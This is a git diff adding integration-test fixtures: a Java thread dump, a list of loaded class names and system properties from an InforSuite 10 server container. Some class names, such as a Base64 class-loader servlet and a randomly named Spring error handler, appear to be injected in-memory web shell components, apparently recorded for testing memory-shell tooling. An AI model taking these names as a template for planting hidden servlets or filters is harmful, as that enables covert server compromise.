java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"pool-3-thread-1" #80 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@47078cd6 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"EventAdminAsyncThread #3" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fa05ec7 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FelixResolver-2" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Logging pump for 'jakarta.enterprise.logging.stderr'" #41 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3fc66457 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.glassfish.main.jul.handler.LogRecordBuffer.pollOrWait(LogRecordBuffer.java:162) + at org.glassfish.main.jul.handler.LoggingOutputStream$Pump.logAllPendingRecordsOrWait(LoggingOutputStream.java:184) + at org.glassfish.main.jul.handler.LoggingOutputStream$Pump.run(LoggingOutputStream.java:157) + +"AutoDeployer" #85 daemon [TIMED_WAITING] on java.util.TaskQueue@aac24ae + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.util.TimerThread.mainLoop(Timer.java:563) + at java.base@17.0.2/java.util.TimerThread.run(Timer.java:516) + +"admin-listener(3)" #61 daemon [WAITING] on java.lang.Object@24a694bb + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"deployment-jar-scanner" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0eca1e + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-1-expirer(1)" #49 daemon [TIMED_WAITING] on java.lang.Object@577fc201 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"RMI TCP Connection(1)-192.168.215.4" #98 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:181) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:285) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:309) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:350) + at java.base@17.0.2/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:803) + at java.base@17.0.2/java.net.Socket$SocketInputStream.read(Socket.java:966) + at java.base@17.0.2/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.2/java.io.BufferedInputStream.read(BufferedInputStream.java:263) + at java.base@17.0.2/java.io.FilterInputStream.read(FilterInputStream.java:82) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$410/0x00000008010e2728.run(Unknown Source) + at java.base@17.0.2/java.security.AccessController.executePrivileged(AccessController.java:776) + at java.base@17.0.2/java.security.AccessController.doPrivileged(AccessController.java:399) + at java.rmi@17.0.2/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-2(4)" #55 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@699c0426 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-2(5)" #56 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@699c0426 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.2/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #78 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1735) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"hk2-asyncrunlevelcontext" #34 daemon [WAITING] on java.util.TaskQueue@57d7904a + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at java.base@17.0.2/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@17.0.2/java.util.TimerThread.run(Timer.java:516) + +"admin-listener(5)" #63 daemon [WAITING] on java.lang.Object@24a694bb + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.Object.wait(Object.java:338) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"RunLevelControllerThread-1754837845686" #83 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@787876b5 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:704) + at java.base@17.0.2/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Notification Thread" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"CM Event Dispatcher" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2865e5a6 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FileSystemWatchService" #106 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@17.0.2/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #76 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1735) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"FelixResolver-10" #30 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2967ee19 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"EventAdminAsyncThread #10" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fa05ec7 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-listener-2-expirer(1)" #57 daemon [TIMED_WAITING] on java.lang.Object@d6020dc + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + + +=========================================== + +StackClassNames: +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.BundleContextImpl +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.Felix +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.framework.util.SecureAction +org.apache.felix.gogo.shell.Activator +org.apache.felix.gogo.shell.Activator$1 +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.glassfish.hk2.extras.events.internal.DefaultTopicDistributionService +org.glassfish.main.jul.handler.LogRecordBuffer +org.glassfish.main.jul.handler.LoggingOutputStream$Pump +org.glassfish.main.jul.handler.LoggingPumpThread +org.jvnet.hk2.internal.DynamicConfigurationImpl +org.jvnet.hk2.internal.ServiceLocatorImpl +org.jvnet.hk2.osgiadapter.HK2Main$HK2ServiceTrackerCustomizer +org.osgi.util.tracker.AbstractTracked +org.osgi.util.tracker.ServiceTracker +org.osgi.util.tracker.ServiceTracker$Tracked +org.springframework.yxlXK.ErrorHandler diff --git a/integration-test/src/test/resources/infos/InforSuite10ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/InforSuite10ContainerTestBasicInfo.txt new file mode 100644 index 00000000..5906c6a8 --- /dev/null +++ b/integration-test/src/test/resources/infos/InforSuite10ContainerTestBasicInfo.txt @@ -0,0 +1,1514 @@ +# Generated At 2025-08-10 14:57:31 +SystemProps: +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/inforsuite/as/domains/domain1 +javax.net.ssl.trustStorePassword: changeit +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +catalina.useNaming: false +os.name: Linux +java.util.logging.config.file: /usr/local/inforsuite/as/domains/domain1/config/logging.properties +sun.boot.class.path: /usr/local/inforsuite/as/modules/endorsed/javax.annotation-api.jar:/usr/java/jdk-8/jre/lib/resources.jar:/usr/java/jdk-8/jre/lib/rt.jar:/usr/java/jdk-8/jre/lib/sunrsasign.jar:/usr/java/jdk-8/jre/lib/jsse.jar:/usr/java/jdk-8/jre/lib/jce.jar:/usr/java/jdk-8/jre/lib/charsets.jar:/usr/java/jdk-8/jre/lib/jfr.jar:/usr/java/jdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.cvicse.loong.enterprise.security.provider.PolicyConfigurationFactoryImpl +AS_DEF_NODES_PATH: ../nodes +felix.fileinstall.poll: 5000 +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.maxconn: 1 +java.runtime.version: 1.8.0_271-b09 +com.cvicse.inforsuite.base.dir: /usr/local/inforsuite/as +javax.net.ssl.keyStore: /usr/local/inforsuite/as/domains/domain1/config/keystore.jks +user.name: root +osgi.shell.telnet.ip: 127.0.0.1 +com.cvicse.loong.las.installRootURI: file:/usr/local/inforsuite/as/ +felix.fileinstall.log.level: 2 +com.cvicse.loong.las.hostName: 58a25f41f024 +user.language: zh +sun.boot.library.path: /usr/java/jdk-8/jre/lib/aarch64 +AS_IMQ_LIB: ../../mq/lib +xxxx: +java.version: 1.8.0_271 +user.timezone: UTC +com.cvicse.loong.las.agentRoot: /usr/local/inforsuite/as/nodes +sun.arch.data.model: 64 +javax.rmi.CORBA.UtilClass: com.cvicse.loong.corba.ee.impl.javax.rmi.CORBA.Util +java.endorsed.dirs: /usr/local/inforsuite/as/modules/endorsed:/usr/local/inforsuite/as/lib/endorsed +java.rmi.server.randomIDs: true +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +com.cvicse.loong.las.instanceName: server +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +user.country: CN +java.home: /usr/java/jdk-8/jre +felix.fileinstall.dir: /usr/local/inforsuite/as/modules/autostart/ +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +sun.font.fontmanager: sun.awt.X11FontManager +org.omg.CORBA.ORBSingletonClass: com.cvicse.loong.corba.ee.impl.orb.ORBSingleton +com.cvicse.loong.las.imqLib: /usr/local/inforsuite/mq/lib +path.separator: : +java.vm.version: 25.271-b09 +com.cvicse.loong.las.productRoot: /usr/local/inforsuite +AS_CONFIG: /usr/local/inforsuite/as/config/../config +userinfor: www.cvicse.com +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +com.cvicse.loong.las.installRoot: /usr/local/inforsuite/as +AS_IMQ_BIN: ../../mq/bin +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /usr/local/inforsuite/as/domains/domain1/config/server.policy +jdk.tls.rejectClientInitiatedRenegotiation: true +sun.io.unicode.encoding: UnicodeLittle +proname: www.cvicse.com +awt.toolkit: sun.awt.X11.XToolkit +javax.rmi.ssl.client.enabledProtocols: TLSv1,SSLv2Hello +AS_INSTALL: /usr/local/inforsuite/as/config/.. +felix.fileinstall.disableConfigSave: false +user.home: /root +java.specification.vendor: Oracle Corporation +AS_DERBY_INSTALL: /usr/local/inforsuite/as/config/../../javadb +com.cvicse.loong.enterprise.jaccprovider.property.repository: /usr/local/inforsuite/as/domains/domain1/generated/policy +com.cvicse.loong.las.instanceRoot: /usr/local/inforsuite/as/domains/domain1 +java.library.path: /usr/local/inforsuite/as/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +javax.rmi.CORBA.StubClass: com.cvicse.loong.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.vendor: Oracle Corporation +jdk.corba.allowOutputStreamSubclass: true +java.runtime.name: Java(TM) SE Runtime Environment +com.cvicse.loong.las.derbyRoot: /usr/local/inforsuite/javadb +sun.java.command: com.cvicse.loong.enterprise.inforsuite.bootstrap.ASMain -upgrade false -domaindir /usr/local/inforsuite/as/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,8060,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/inforsuite/as/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose true -asadmin-classpath /usr/local/inforsuite/as/modules/admin-cli.jar -debug false -asadmin-classname com.cvicse.loong.enterprise.admin.cli.AdminMain -watchdog false +java.class.path: /usr/local/inforsuite/as/modules/inforsuite.jar:/usr/local/inforsuite/as/lib/monitor/flashlight-agent.jar +com.cvicse.loong.las.configRoot: /usr/local/inforsuite/as/config +com.cvicse.loong.las.imqBin: /usr/local/inforsuite/mq/bin +java.vm.specification.name: Java Virtual Machine Specification +handleGetSpecialHeader: true +catalina.home: /usr/local/inforsuite/as/domains/domain1 +javax.rmi.CORBA.PortableRemoteObjectClass: com.cvicse.loong.corba.ee.impl.javax.rmi.PortableRemoteObject +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +gosh.args: --nointeractive +java.io.tmpdir: /tmp +AS_DEF_DOMAINS_PATH: /usr/local/inforsuite/as/config/../domains +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +InforSuite_Platform: Felix +org.apache.jasper.compiler.disablejsr199: false +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/java/jdk-8/jre/lib/ext:/usr/java/jdk-8/jre/jre/lib/ext:/usr/local/inforsuite/as/domains/domain1/lib/ext +felix.fileinstall.bundles.startTransient: true +user.dir: /usr/local/inforsuite/as/domains/domain1/config +com.cvicse.loong.enterprise.config.config_environment_factory_class: com.cvicse.loong.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +line.separator: + +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +com.ctc.wstx.returnNullForDefaultNamespace: true +java.security.auth.login.config: /usr/local/inforsuite/as/domains/domain1/config/login.conf +com.cvicse.loong.las.instanceRootURI: file:/usr/local/inforsuite/as/domains/domain1/ +com.cvicse.inforsuite.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +com.cvicse.loong.enterprise.security.httpsOutboundKeyAlias: s1as +org.jboss.weld.serialization.beanIdentifierIndexOptimization: false +com.cvicse.inforsuite.grizzly.DEFAULT_MEMORY_MANAGER: com.cvicse.inforsuite.grizzly.memory.HeapMemoryManager +javax.management.builder.initial: com.cvicse.loong.enterprise.v9.admin.AppServerMBeanServerBuilder +org.omg.CORBA.ORBClass: com.cvicse.loong.corba.ee.impl.orb.ORBImpl +file.encoding: UTF-8 +inforsuite.version: Inforsuite Application Server 10 (build 10.0.1.3 6063 2020-12-10T09:27:17Z) +javax.xml.accessExternalSchema: all +ANTLR_USE_DIRECT_CLASS_LOADING: true +com.cvicse.loong.las.domainsRoot: 